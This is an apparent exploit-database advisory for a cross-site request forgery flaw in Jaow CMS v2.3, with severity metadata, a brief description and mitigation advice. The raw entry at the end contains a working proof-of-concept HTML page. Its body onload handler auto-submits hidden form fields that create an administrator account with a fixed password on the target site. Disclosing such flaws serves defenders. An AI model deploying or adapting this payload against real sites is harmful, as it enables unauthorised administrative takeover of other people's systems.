Jaow CMS v2.3 CSRF Vulnerability

vendor:

Jaow CMS

by:

DaOne [LCA]

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Jaow CMS

Affected Version From: 2.3

Affected Version To: 2.3

Patch Exists: NO

Related CWE: N/A

CPE: jaow:jaow_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

Jaow CMS v2.3 CSRF Vulnerability

A CSRF vulnerability exists in Jaow CMS v2.3 which allows an attacker to add an admin user to the system. An attacker can craft a malicious HTML page containing a form with hidden fields that when loaded by an authenticated user, will submit the form and add an admin user to the system. The malicious HTML page can be hosted on a website or sent via email.

Mitigation:

Ensure that all user input is validated and sanitized before being used in the application. Implement a CSRF token to verify that the request is coming from a trusted source.

Source

Exploit-DB raw data:

##########################################
[~] Exploit Title: Jaow CMS v2.3 CSRF Vulnerability
[~] Author: DaOne [LCA]
[~] Date: 15/8/2012
[~] Software Link: http://www.jaow.net
[~] Or: http://scripts.toocharger.com/fiches/scripts/jaow/5370.htm
##########################################

[#] [ CSRF Add Admin ]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/administration/utilisateur.php">
<input type="hidden" name="Nom" value="webadmin"/>
<input type="hidden" name="Prenom" value="webadmin"/>
<input type="hidden" name="Pseudo" value="webadmin"/>
<input type="hidden" name="Mdp" value="pass123"/>
</form>
</body>
</html>

##########################################